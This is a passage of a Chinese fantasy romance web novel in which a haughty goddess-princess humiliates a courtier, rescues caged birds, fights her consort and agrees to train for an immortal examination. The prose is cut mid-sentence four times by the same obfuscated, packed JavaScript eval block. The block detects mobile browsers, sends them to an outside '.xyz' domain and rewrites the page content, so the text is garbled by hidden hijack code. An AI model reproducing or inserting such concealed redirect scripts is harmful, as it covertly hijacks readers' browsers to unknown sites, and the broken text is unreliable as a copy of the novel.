三清天素来有“西北双绝”的美称,指的便是以容貌才情闻名遐迩的西海滢罗和北境祝晏,相比滢罗高贵的血脉和下一任西神王的身份,祝晏不过是北神王的庶子,母亲已在万年前去世。 结合神王邸内,孟楚对待祝晏的嫉恨态度,大约平日他也没少拿这件事嘲讽祝晏。习惯了在自家一亩三分地作威作福的日子,孟楚才会身处二清天的神王邸好如此无所顾忌。 九昭突然理解了祝晏替自己说话的缘由。 也由衷认为,把孟楚打出半副原形还是下手太轻了。 “你话里真正的意思,本殿听明白了。”然而同病相怜归同病相怜,九昭终究没有单纯到一见他人示好,就接受投诚将其庇护在自身羽翼之下,她索性开诚布公,“本殿从来不喜欢欠别人人情,你帮过本殿,本殿许你一个承诺,但你别想着利用本殿掺和你们北境的内部争斗。” “臣不敢有这样的意思。” 祝晏重新作揖,束在其脑后的白发顿时滑落肩头,倾泻如九天流银,“臣今日站在殿上说出实话,也不是存着让殿下欠臣人情的心思——臣的所作所为,一为世道公平,二为感同身受。” 被风牵引着,几缕调皮的发丝扬起,飘向九昭这处,仿佛无数只渴望触碰又收回的手。 九昭不叫他起来,他的手始终交叠在身前,维持着最谦卑的姿势。 一个侍妾所生的区区庶子,生来不受重视,又因着大殿作证,彻底得罪了本就看他不顺眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918058|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嫡长兄——他不担忧自身回到北境的命运,反而同情起她这位三清天最尊贵的神姬。 该夸他正直勇敢,还是该嘲笑他的头脑天真? 盯着青年头顶朴素的青玉长簪片刻,九昭抱臂向前,倏而一把掐住他的下颌。 她将祝晏那张风华绝代的面孔抬起,冷不丁问道:“你可知本殿为何不愿自己说出实情?” 没料到九昭会做如此大胆之举,祝晏愣了愣,就着身躯俯落,脖颈上抬的别扭姿态,低声回答:“臣下不可随意揣测君上心境,但由己及人,臣想大概殿下不欲伤心事再现于众人眼前。” “你倒是很会体谅本殿。” 祝晏越是表现出善解人意,九昭就越是想要将他的这层外壳击碎。 她不冷不热感慨一句,接着话锋一转,“只可惜,你猜错了,本殿根本不在意他口中所说母神因为本殿难产崩逝的臆想——当年神魔交战,母神为父神挡剑才会重伤不愈,这是三清天人尽皆知的事情,又不是本殿害死了母神,本殿为何要为一句莫须有的恶言而感到伤心? “至于兰祁,四千五百年过去,本殿早就连他长什么样子都快记不起。 “将你的兄长打个半死,纯粹是因为本殿看他不顺眼! “若非父神和北神王来得早,本殿定要取他性命—— “枉费你在神王邸一番情真意切的作证,可惜本殿就是个只凭自己喜恶行事的恶人。” 迎着祝晏变幻明灭的眸光,九昭把积压在心底的痛苦怨怼发泄了个干净。 掐着祝晏的下巴不够,她又把仙力附着在掌心,狠狠将他一把拽倒在地。 青年双膝下跪,阻挡在两人之间过于明显的身高差也不复可见。 九昭像触碰过脏东西似地嫌弃掸了掸手指,而后抬起光/裸的脚掌踩住他的肩膀。 “什么良善,什么心软。 “本殿只晓得单纯会被人骗,好说话会被人欺—— “本殿是三清天未来的主人,要这些无用的品格有什么用? “他们越是畏惧,越是战战兢兢,本殿就越高兴!” 一道仙力凝集的半透明屏障拔地而起,挡在祝晏身后。前有九昭,后无退路,他被夹缝生存,望着九昭越凑越近的面孔,那张亮烈婀娜的面孔带着放肆的笑意,占据他视野的全部: “你看,你真的很蠢。 这么容易同情别人、相信别人,希望付出帮助别人也会涌泉相报,活了几万年还没明白天底下根本没有那么多好人好事——怪不得哪怕孟楚废物成那样,你还是会被他压一头。 “现在,就让本殿教你一点,真正能够讨好本殿的方法。” 欺负下位者,践踏他的骄傲,碾碎他的期盼,总是能消弭掉一部分情绪里的不如意。 弯下的腰肢重新挺直,任何失意、悲伤和不解在九昭的身上烟消云散。 她半抬下巴,乜着视线,脚掌滑落肩头,轻轻踩住祝晏润玉般的左手,“给本殿穿鞋。” 15. 第15章 踩着人的手心,让对方侍奉穿鞋,这样的招数九昭用过很多次。 而且乐此不疲。 从上向下的姿势,最容易看清被强迫者眼睛里最真实的情绪。 这等放眼离恨天有点品阶的女婢侍官都不必伺候的工作,九昭让兰祁做过,让扶胥做过,让初来守卫她的朱映做过,也让昔日各式各样背后说坏话、当面挑衅的男男女女做过。 她观察着他们。 心机浅薄的控制不住咬牙切齿,有些城府的敛着睫毛极力忍耐。 像兰祁那等老练成为人精的,以及扶胥这等常年如同冰块的,则是没有多余表情。 但无论怎样,九昭还没有遇见过反应接近于祝晏的。 她使力碾着青年修长的指骨,口腔中吐出的每一个字都是十足的轻慢看低。 可祝晏偏生从衣袖里掏出一方绣花的白帕,手上很稳地托住她的单只脚掌,像是对待最普通的日常仙务那样,从织袜到缎鞋,小心翼翼,一丝不苟地完成。 整个过程,祝晏面容平和,既不羞恼,也不谄媚。 他的动作就跟包裹九昭脚心的手帕一般,柔和、妥帖,又留有余地。 这一下,把存着八百十种手段的九昭突然弄不会了。 “你不生气吗?” 已经穿完一只脚,剩下另一只套上织袜,就差最后一步。在祝晏操纵仙术去探丢得有些远的缎鞋当口,九昭的右脚陷在他温热掌心不自在地蜷起,忍不住盯着他的眼睛逼问。 “侍奉殿下,皆是应当,臣为何要生气?” 祝晏的目光不闪不避,凝在唇角的笑容一如初见时分。 九昭看不懂他,又觉这人来到自己面前,像极了任人搓扁揉圆的面团,没半点脾气:“世人苦苦为神成仙,有些为了站在力量的高处,有些为了心中的大道至理,你已然身处金仙位列,实力不俗——难不成拼尽全力向上爬,就是为了做这些服侍别人的活计?” “臣其实没有那么远大的理想。” 远处的缎鞋如牵线风筝般回到祝晏指间,他将九昭的脚掌曲起,暂放在膝盖上,视线专注地整理着被踩皱的鹅黄鞋面,“出谋划策也好,捧茶侍奉也罢,臣只想做主君身边有用的人。 “更何况,职位无贵贱,殿下认为,身为世子的孟楚,就一定比离恨天的仙侍高贵吗?” 那当然不是。 在她心中,三清天随便拎出来一个人品清白的散仙,都比孟楚那坨烂泥能扶得上墙。 祝晏的一番言论通往内心未曾设想的领域,也更加符合不以身份,而以喜恶结交朋友的九昭的喜好——凝着眸光略作思考,想通之后,九昭白皙小脸上的神情微微发亮。 她捉弄青年的心思也顿时淡了许多。 九昭没吭声的间隙里,祝晏将她穿好鞋袜的右脚放了下去。他发挥手帕的最后一点作用,擦拭干净两只缎鞋上莫须有的尘埃,而后弯起一双狐狸眼:“未知殿下对于臣的侍奉满不满意。” 月光般的长发。 翡翠般的眼眸。 这般盛世美颜,如此做小伏低。 注视他半仰的面孔,九昭打了个响指,撤去阻挡在他身后的屏障,心中亦后知后觉涌起一缕本能念头:或许,兰祁、扶胥构建的王夫形象皆是错误的,如祝晏这般的柔情体贴才算不错…… 呸呸呸。 自己与扶胥还未合离,先把事情想那么远做什么。 忠贞与道德变作缩小版的九昭,在脑海上蹿下跳唾弃着她。 九昭打了个激灵,从祝晏双眼化成的万顷柔波中挣脱,她有意夸奖,最终又碍于内心的浮想嘴硬道:“侍奉得确实不错,此番回去后倘若孟楚容不得你,可以来本殿的离恨天做名侍官。” 撂下这句话,九昭原地蹦跳两下将鞋袜踩实,便急匆匆地转身走了。 仿佛再多留一秒钟,有关理想型王夫的遐思又要重新复苏。 她离开后,祝晏没有立刻站起身。 他捡起被揉作一团丢在草地上的手帕,像是对待珍宝般将它重新展开,一一抚平褶皱。 接着,他将手帕放进袖口,迎着风轻轻呢喃道:“来离恨天做侍官吗…… “臣谢过神姬殿下的恩典。” …… 为了掩人耳目,九昭耗费仙力瞬移回离恨天。 令她意外的是,在常曦殿外等候她的不仅有朱映,还有一身常服的扶胥。 朱映率先走了上来,簇拥九昭朝内殿走去。 而明显有话要说的扶胥,见九昭没有同自己打招呼的意思,迟疑两秒,走在了她的另一侧。 有过合修时最窘迫不堪的经历,一时间扶胥也不知该如何直视九昭的眼睛,他的视线放空,望着几丈外的虚空之处,主动开口:“臣收到了帝座要您闭门思过三个月的旨意。” 九昭的脸皮要比他厚得多,更不提心境有过大起大伏,早将午后的合修记忆忘得七七八八。 “噢。” 她敷衍地吱了声,丝毫没有对话的兴致。 扶胥只好又道:“还有,殿下的寝殿后院,挂了个几十个鸟笼,皆是北神王送来的礼物。” 九昭顿步:“什么鸟笼?” 扶胥却抿起嘴,似乎有些不好意思回应这个问题。 还是左手边的朱映代答道:“殿下不是在神王邸中说过要给扶胥上神制作一份礼物——崇黎王不知殿下需要多少染料,因此将神王邸周围的极乐鸟捉了来,尽数赠予殿下。” 提起极乐鸟,九昭赶紧把储物戒中祝晏送来的那一对放了出来。 活蹦乱跳的小鸟栖息在银霜鸟笼内,叽喳着,将嫩黄的小嘴伸出笼隙,蹭了蹭九昭的手指。 真是自找罪受。 原先只要放飞两只就好,现在却要照看一大堆。 九昭腹诽着,耳畔响起朱映略显困惑的声音:“奇怪……殿下这两只,看起来倒是十分精神,北神王送来的那些全都趴在鸟笼中,有气无力的,臣起先还当是离开神王邸不适应。” 联想到祝晏之前的做法,九昭很快察觉出问题所在。 极乐鸟全身上下都能做染料,想要使用无需顾及它们的死活,捣碎后放到容器里保存就好。 这些生命的存在,在北神王的眼里不过是上色的工具。 既然死去也能利用,他又怎会消耗力量,去给数量众多的鸟笼一一施加控制温度的术法。 “糟了!” 九昭无视欲言又止的扶胥,将手上鸟笼抛给朱映,提起裙子就往后院飞奔。 等她穿过冗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918059|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长回旋的廊道,来到豢养鸟儿的花园,那些最为活泼好动的生灵已经奄奄一息。 九昭想也不想,释放仙术转化起五行为火,自带炽热高温的真血之力。 火本与水相冲,想要将自身的仙力压缩到极寒状态,又谈何容易。 时大时小的火焰悬浮掌心,被仙力催动着,一点一点由赤红化为霜色。 整个过程,受困于五行阻隔,九昭转化得艰难且缓慢。 等到接连将控温仙术同时施加在十来个鸟笼上,恢复笼内温度,让垂死的极乐鸟重获生机时,她不复往昔游刃有余之态,逛街额头落下力量损耗过度的涔涔冷汗。 救下一批,还剩下三十多只。 九昭呼出一口气,又要凝聚仙力,手却被一只大掌握住。 “木属性不似水火对立,要释放控温术更为容易,殿下将臣的封印揭开,臣来做就是。” 说话间,扶胥唤住学着九昭试图催化自身火系仙力的朱映,“烦请朱映仙官召集离恨天内水系的仙官侍婢,让他们催动仙力制成寒露,喂笼内过热的极乐鸟服下,情况应该会好转些。” 事情急迫,九昭也顾不得问罪扶胥的越俎代庖。 她一个眼色过去,朱映的身影会意消散在游廊之下。 她又反手扯住扶胥的衣襟,迫使他俯落颈项,揭掉他额头中央现形的黄符。 感受着力量涌动,扶胥双手缔诀,远比九昭的手法更加灵活磅礴的控温术显露霜花结印。 霜花缓慢旋转放大,而后一生二,二生四,四生八……变作无数箭矢般的分影射向鸟笼。 九昭的眼珠随着术法运行的轨迹移动着,目不转睛看完这一行云流水的过程。 她勉力降低火系仙力的温度,几乎耗费了大半力量,才同时施加了十来道控温仙术。而重伤境界陨落的扶胥,轻描淡写就将剩下的几十个鸟笼尽数结印——人比人真是气死人! 又观察片刻,确定救治及时,没有一只极乐鸟死去之后,朱映去喊的人也到了。 蕴着仙灵的寒露被女婢侍官们,一滴一滴细心喂进嗷嗷待哺的鸟喙中,清脆的鸣啼声重临。 将符纸重新送回完成任务的扶胥的额心,九昭倚在廊下阳光照射不到的阴影里,旁观这些人分工的分工,救助的救助,突然发觉自己变回了局外人。 难以形容的念头在脑海流转,她又意识到恶名远扬的九昭神姬,为了几十只鸟差点耗尽仙力,传出去着实有点可笑,便摸了摸鼻尖,打算趁众人未曾注意转身离去。 放轻脚步,挽着披帛,她无声行在游廊,一阵风似地刮过。 没走几步,神识很快感应到另一人同样悄无声息地跟了上来。 起初坠在迤逦裙摆的末尾,接着像是为了试图证明存在,大步走在落后她半臂的位置。 不用回首,九昭也知晓是谁。 她不搭理扶胥,扶胥就沉默相随。 两人就这样一前一后地回到了九昭的寝殿附近。 九昭终于不耐烦了,她猛地转身:“你一直跟着本殿干什么?嘴长在身上难道不啊——” 质问的话到结尾处,转变成短促惊叫。 内心反复酝酿着说辞难得出神,扶胥来不及收回脚步,胸膛骤然撞上了九昭小巧的鼻梁。 16. 第16章 扶胥的真身是棵树,连带着胸膛也硬得好像老树皮。 这一下撞得九昭头晕眼花。 她捂着鼻梁,眼冒泪光,踉跄后退半步,偏又左脚绊住右脚,就要原地表演摔个屁股墩。 行为比理智更快,扶胥想也不想伸手揽住了她。 沉浸于尖锐疼痛里,九昭热烘烘的体温,无自觉地与青年自带草木清香的怀抱靠近。在这个本该旖旎却无半点旖旎的时刻,不知怎的,扶胥浑身上下僵硬一瞬,耳尖悄悄泛出几分红意。 这红映在扶胥冷白的肌肤上分外明显,如同绿叶丛中绽开的初春桃花。 于是,几转呼吸后,好不容易缓过劲来的九昭,将他莫名其妙的反应看在眼里,更生气了。 “你是存心的吗!” 她气得一把将他推开,揉着鼻子大声反问。 小巧的、荷瓣似的面容,与他相同的薄红,恰恰点在鼻梁正中,看起来可怜又可爱。 扶胥意识到自己的目光过于无状,迅速垂下眼帘拱手:“殿下见谅,臣不是有意的。” 跟个闷葫芦有什么好说的! 瞧着对方道歉都想不出来柔情蜜语的木头样子,九昭只觉被撞到的肌肤一跳一跳的,烦躁的热意自鼻尖燎到心底。她本就因着耗费仙力精神不济,闻言冷哼一声,绕过扶胥就想进殿休息。 见九昭又要走,扶胥这才记起自己一路跟随的目的。 情急之下,他一把握住她的手腕:“殿下,臣有话要同您说。” 九昭柳眉一竖:“扭捏一路究竟要说什么,难不成是想询问礼物之事?你可别痴心妄想!” 似乎是错觉,这句话出口,她冷不丁发觉青年眼中神光暗下去一点。 “臣当然不会如此自作多情。” 低声剖白半句,扶胥线条优美的薄唇一抿,使力将九昭带进寝殿,另手关上大门,“臣想问的是,殿下有没有思考过,帝座关您三个月禁闭的真正用意。” 朱映都提前回来了。 名义上与她是一家人的扶胥,掌握神王邸内事情的来龙去脉,也属正常。 只是从未婚夫妻,到合卺神侣,两人相处千年,扶胥进入她寝殿的次数屈指可数。 九昭正有些奇怪青年的反常,耳边倏忽响起他公事公办的问题,便没有过多思考地脱口而出道,“能有什么用意?北神王的嫡子被本殿打成这样,父神自是要做做样子,给个态度。” 然而,扶胥并不满意这样的回答,凝视她的眸光没有任何变化。 九昭被他目不转睛地看着,一缕不自在攀上后颈。 她欲反唇相讥堂堂扶胥上神有什么高见,大脑却在青年两道内含深意的视线里,不由自主思忖起这回闯祸闹到神帝前所得的惩罚,和从前有哪些区别。 这么多年最严重的一次,是她和前来做客的东神王妃之侄起了争执,一怒之下将其推进了位于二清天边缘浮岛,设有上古禁制的石洞里,害得他被关了五天五夜差点虚弱而死。 事情被揭发时,神帝也不过让她当面道歉,另外再罚抄写三清天规两百遍。 她仙生中仅有的两次长久闭门不出,都是自觉丢脸,无法见人,而非来自谁的惩罚。 那九尾孟楚犯错在前,她打便打了,哪及过去的事情危急。 所以父神下令关禁闭—— 九昭不断变化的表情,叫扶胥看出她的内心交战。 他索性点破:“殿下说潜伏在神王邸是为了捕捉极乐鸟制作礼物,这样的谎言骗得了北神王,却瞒不过了解您的帝座。想来是帝座误以为您要参加仙考,特地去偷偷收集对手的信息。 “帝座一向对您颇为纵容,只是仙阶的晋升颁诏容不得马虎。这次禁闭名义上是给北境一个交代,其实静下心来细究,说不定是帝座想要告诫您参加仙考需堂堂正正,不得违反天令。” 九昭越听眉毛皱得越紧。 为臣者不可随意揣度君上的规矩,祝晏都知道,没道理身为上神的扶胥会明知故犯。 除非是有谁想要借他之口说给自己听。 她同扶胥大眼瞪小眼片刻,不确定地问道:“是父神让你跟本殿提起的?” 扶胥不点头也不摇头。 有时真相不必非要求得一个肯定,单看对方行为举止就能找到答案。 父神找扶胥,要给她留有面子,未必会说得这么直白。 只是意思就是这么个意思。 九昭泄气地耷拉肩膀,坐倒在寝床上:“这是哪来的乌龙,本殿何时说过要参加仙考——” “误会已然酿成,帝座密音传话时颇为欣慰。 “下令关禁闭多半是为了便于殿下好好准备,难道殿下要叫帝座失望?” 扶胥三言两语,勾勒出一个满含期望的慈爱老父亲形象。 若说九昭当世的软肋还有什么,那父女亲情便是其中最要紧的部分。 过往神帝不提让她上进,她也就自欺欺人地躺平当条咸鱼。 如今得到托付,从不知委婉为何物的扶胥,干脆把神帝望女成凤的期盼摊到明面上。 九昭咬着嘴唇,心中明了这次仙考注定失败,更难在脸面和亲情中做出取舍。 奈何扶胥既然奉命来做说客,就不会仅是点到为止。 “其实殿下有没有想过,颜面是要靠自己有本事才能赢得的,而非躲在常曦殿装作什么都没听到,便是从未丢脸过。”好家伙,这回当真是实打实的嘲讽了。 九昭被他戳在逆鳞上,几乎立时就要炸毛:“你今天怎么这么多话?!” 扶胥侧身躲开她踢过来的一脚,径自淡定道,“已经几千年过去,殿下每每听到他人提起往事都会表现出无比在意,这就给了心怀恶意之人一个信号,只要抓住不放,殿下就会反复跳脚。 “所以害得殿下颜面有失的并非旁人,正是殿下自己。 “您不肯放过自身,旁人更要加倍攻讦您。” 九昭连踹几脚碰不着扶胥的衣角,从床上弹跳起射,就要扑过去捶他:“你清高,你了不起,你光风霁月!还不是你成婚不到一个月就跑到神魔边界,害得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918060|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本殿的颜面一丢再丢!” 按捺多日,彼此忍了又忍,扶胥的话成为压死骆驼的最后一根稻草。 九昭一边大骂他,一边如同过去言语不和无法相互说服时那样,追着他打起架来。 两人一红一黑,一攻一守。 为表公平,如同芸生世的肉体凡胎那般,比划起拳脚功夫。 在九昭猛烈的进攻中,仙力尽失的青年步法沉稳依旧,毫无半点凌乱:“是,兰祁是害殿下丢脸之人,臣亦是害殿下丢脸之人,臣还安稳地做着您的王夫,兰祁还在焚业海当着他的业尊,唯有您,只能仰仗神姬的身份,帝座的威势狐假虎威地过日子,却不能真正伤到我们分毫。” “扶、胥!!!” “您不想努力修行,是怕吃苦吗?还是畏惧捱不过天道拷问,终致丢失性命?” 故意留出破绽,给予九昭能够击中自己的希望。 又在她欣喜出拳之际,以刁钻的姿势扭身避过。 看透对方单一攻击套路的扶胥,平淡语气流露出一丝鲜明嘲讽,“看来,颜面也并不如您所说的那般重要,比起让他人心服口服闭嘴,还是自欺欺人地活着更要紧。 “噢,还忘了告诉您一件事。 “孟楚世子被您打成那样,也没有退出仙考回到北境养伤,依旧在命医仙们加紧治疗。 “神王邸内事件发生的真相,放眼整个三清天,有几人能够了解得一清二楚,或者是,又有几人真正想要了解清楚。他们只会说,看吧,不学无术的九昭神姬又在作威作福—— “而身为罪魁祸首的世子孟楚,却能够凭借坚持参加仙考,收获身残志坚的良好风评—— “殿下,您真的能够咽下这口气吗?” 认识几万年,哪怕在新婚夜晚,九昭都不曾听到过扶胥说出这么长一串话。 今时今日,他难得不再惜字如金,目的竟是为了嘲讽她—— 嘲讽她这个与他合卺结契的妻子! 扶胥使出的激将法固然粗陋,但九昭不得不承认,它十分管用。 什么他人目光,什么性命安危,都在汹涌上行的凤凰血气里焚烧殆尽。 九昭尖啸一声,巨大的、半透明的、熊熊燃烧着的赤红双羽在她背后交错现影。 察觉到她不顾规则,似是要用仙力来对没有招架之力的自己下手,扶胥顿时修眉拧紧。 “殿下,臣——” “你以为本殿要用仙术来对付你吗?” 九昭眼瞳明灭如火,指尖浮着一小簇仙光缓步朝他走来。 饶是扶胥,也无法判断被激怒时,九昭会做出怎样不可挽回的行为。 他面沉似海,不由自主后撤摸向殿门,试图引起殿外仙侍们的注意。 九昭却突然将仙光盛放至最亮,借着迷花扶胥双眼的间隙,反手狠狠揍上他的俊脸。 没有仙灵加持,天生大力的她仍然一拳把扶胥揍得唇角开裂。 望着对方狼狈中招的窘样,她终于咧开嘴,皮笑肉不笑:“兵不厌诈嘛,扶胥上神。” 17. 第17章 血丝从扶胥的唇角淌下,为他英挺淡漠的面孔平添几分艳色。 见巧用心计终于揍到了这个可恶的家伙,九昭胸口奔涌的怒火倏忽消散不少。 过完手瘾,她等着看被打痛的扶胥恼羞成怒破防,自己也好趁机过过嘴瘾。 可扶胥依旧很平静。 在他身上最为激烈的反应,也不过是因为内伤未愈,一番打斗过后气息有些不稳。 嵌在修长颈项间的喉结轻巧一滚,仿佛感觉不到屈辱,也体会不到痛楚。 扶胥抬手,摸了摸肿起的唇角,在九昭拳头又要无声捏紧的须臾里,对她露出一抹极其浅淡的笑意:“殿下,恭喜您通过考核,在接下来的三个月内,臣会担任您的教习老师。” “?” 将手背在身后,准备见势再偷袭他两下的九昭,额头顿时浮现一个透明问号。 扶胥无视她猛地滞住的表情,继续把话说了下去,“参加仙考的各路金仙们齐聚二清天,一面适应考试场地,一面也在神王邸内不断加紧练习,殿下起步已经被别人晚了许多,接下来的日子里,您更要加倍努力,追赶进度,不辜负帝座的期待才可以……” 他巴拉巴拉说了一大堆。 但“加倍努力”之后的话,九昭半个字也没听进去。 她满肚子疑惑化作轻蔑,生等扶胥说完,盯着他阴森磨牙:“谁说本殿要做你的学生了?” 扶胥反问:“莫非殿下不想叫帝座高兴,不想堂堂正正打孟楚世子的脸?” 九昭指着他的鼻子:“就算本殿要参加考试,也不必选择你一个半残废做老师。” 扶胥给出理由:“迄今为止,臣担任了五届仙试主考官,想来不会有人比臣更具经验。” 九昭选择接着刺激他:“那又怎样?你个半残废,连恢复伤势都需本殿助你——” 她着急在言语上找回场子,话里话外“半残废”三个字不离口。 扶胥却罕见地夸奖起她来:“殿下的天赋本就出众,相较其他考生,缺乏的不过是实战经验。对于如何增长经验,臣自有一套方式方法,殿下只消愿意配合就好。” 他都说了“相较其他考生”,在参加人选不明朗的情况下,九昭不免又拿自身和滢罗比较。 比来比去,她记起是有那么件微小的往事—— 在兰祁悔婚,自己郁郁寡欢的三千年里,滢罗曾易容改名,投身军中,参加了几次小规模的仙魔交战,也不知当时是不是效力在扶胥的麾下,才会成就两人的一段不解之缘。 九昭情不自禁闷闷发问:“……倘若本殿参加仙考,你也认定滢罗会胜出吗?” 扶胥微怔。 望着她明亮却暗流涌动的眼睛,他过了片刻才道:“魁首被谁摘得,皆是未知数——但不可否认的是,就算将三清天所有金仙放在一块,滢罗宗姬也是其中不可多得的天赋努力兼顾者。” “罢了罢了,也难指望你吐出象牙。” 九昭撇着嘴摆了摆手。 明知晓公正如扶胥,断不会顺着她的心意胳膊肘往里拐。 但真从他口中听见夸奖滢罗之语,她还是不可避免地感到有些失望。 失望过后,已决定不辜负神帝期望参加仙考的她,骨血里又燃烧起一股强烈的不甘心。 难道扶胥说了如此,就是如此吗? 既然已经预料到失败的结局,为什么不干脆豁出去一把,心无旁骛竭尽全力? 要么不做。 要么就做到没有遗憾。 ……如此才是她一路横冲直撞至今的人生! 这样想着,九昭脑海里缩小版的自己开始边蹦边跳,摇旗助威。 打定主意就是干。 她松开拳头,捡起打架过程里滑落在地的披帛,就着抬头挺胸的姿势交抱双臂,斜斜睨着扶胥,脸上呈现出熟悉的傲慢:“好啊,既然胜负是未知数,那本殿就选你做本殿的老师—— “要是教得本殿在仙考中打不过你的旧情人,得不了魁首,本殿就治你一个敷衍之罪!” …… 自神仙之间出现阶位划分起,三等仙阶考试的内容就再也没有变过。 其他两等暂且不论,从金仙升至天仙的考试,一共划为两个部分。 第一部分验心,需置身幻境,在规定时限内找到弱点将其击破,恢复清明,才算通过。 第二部分争身,考试地点设置在二清天贯通天地的扶桑神木上,不论手段,不问生死,最先登上树顶平台,接受过神器辉天镜之光映照的考生,便为优胜者,晋升天仙品阶。 九昭本以为扶胥会着重讲一讲第二部分的注意事项。 不料—— “这是摄念花,焚业海特有的珍稀魔植。” 扶胥将一个简陋的陶瓷花盆放在长案上,指着种在其中,看起来不知道是灌木还是杂草的植物,为九昭介绍道,“它会散发出一种惑人心神的香气,曾经两军交战,兰祁以此作为助力,我方仙兵不慎中招者无数,就连臣也短暂地被其拉入过心魔幻境之中,差点被魔将所伤。” 何谓心魔幻境,便是人心中最在意的事物组成的高阶幻象阵法。区别于普通只能惑人心智的幻术,不论神魔,但凡陷入其中过久,都有可能会损伤乃至彻底迷失神魂。 九昭眯着眼睛看了半天,才瞧见掩映在翠绿草植中的,点点不起眼花朵。它们的颜色是一种近似于绿的黄色,形状又十分小巧玲珑,怎么看都不像是具备扶胥口中的严重危险性。 “连上神都能拉进去的环境,当真如此厉害?所以你当时在那里面看见了什么?” 她想要凑过去闻闻,却被扶胥一把拉住在身边摁下。 “都说了香气惑人,怎的如此不听话。” 肩膀挨着肩膀,青年严肃的话音咫尺传来。 如此近的距离,彼此的体温都能充分感知,九昭下意识又要扭头看他。 扶胥却率先反应过来,轻轻咳嗽一声,将相叠的手掌放开。 他并不回答九昭的问题,游移的目光定在花丛上方:“这花虽是有害的魔植,但运用得当能够加强对于幻术一类的抵抗力,自打臣将其带回三清天后,帝座便下令可以用在日常的修行中。 “我们先不着急开始‘争身’部分的练习,什么时候在规定期限内,殿下能够自主从幻境中挣脱,什么时候这部分的课业才算结束。” “……” 不争身,先验心。 也罢。 没有一上来就加难度,仅是坐在那里抵抗幻觉,不至于多累,也还算合理。 懒散千年的九昭,很快说服自己接受扶胥的教学内容。 即将进入摄念花的香气范围,她仍有些疑神疑鬼:“你也说这花诡异,连带身为上神的你也差点迷失其中难以清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918061|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醒……按照你如今的情况,真能保证本殿的人身安全?” 扶胥瞥她一眼:“一炷香的时间,倘若殿下无法恢复神志,臣把这盆花抱出去就行。” 好吧,焚业海的魔物魔植向来凶险。 摆脱摄念花的方法如此简单,难怪神帝愿意将其在三清天中推行开来。 花香潜入鼻腔的刹那,九昭闭上眼睛,在原地盘腿坐下。 …… 夕阳余晖穿过半露天的游廊,如扑蝶的童子般缓缓潜进前庭。 随着教学仙官一声下课的宣告响起,少男少女们窸窸窣窣收拾起学案上的书卷。 九昭打了个瞌睡,用手揉着魂游天外的困眼。 她的身畔,是仍在伏案进行着笔记整理的西海滢罗。 “诶,滢罗,刚才那堂课的重点你都记下了吗,能不能借我看看?” 神帝有令,长烨学宫内,唯有师长和学子,其他身份一概不提。 九昭和滢罗同学同行五千年,关系如胶似漆,自然也不愿意以高高在上的女君身份自居。 听见她的话,滢罗抬起专注面孔,冲她弯起眼睛,柔柔一抹温和笑意:“好啊,等我整理完笔记就给你看,今晚回去,可要仔细把我标注的内容记住,免得明日上课,夫子又要罚你。” 九昭不好意思地吐了吐舌尖:“好好好,我晓得,你最好了。” 密友间的私语没说两句,坐在最后的另几位西海女仙走了上来。 为首者是滢罗的二妹潮华,她与九昭性格相近,而太相似的人注定水火不容。 “长姐,怎么还不走呀,我肚子都饿了——” 她坐在滢罗身边,拖长语调,拉着她的袖子撒娇。 滢罗道:“笔记还差一点,等我写完拿给九昭就好。” 闻言,潮华乜了九昭一眼,指桑骂槐道:“长姐,你这样做可不行,某人自己不学无术,问答考试全都要靠你,万一被夫子发现,她凭借身份说不定逃过一劫,可苦了长姐你——” 九昭最忍不得潮华挑拨,当下眉一挑就要跟她争辩。 滢罗却隔着衣袖握住她的手,安抚性质地揉捏着指节,嘴上告诫潮华:“二妹,不得胡言乱语。夫子说过,课业虽重要,同窗之间互帮互助也很要紧。” 长姐发话,潮华纵使愤懑亦无可奈何。 她气鼓鼓哼了声,眼热地瞧着取得胜利的九昭黏黏糊糊凑了过来,下巴抵上自家长姐肩头。 这哪里是神姬,简直是三清天第一厚脸皮! 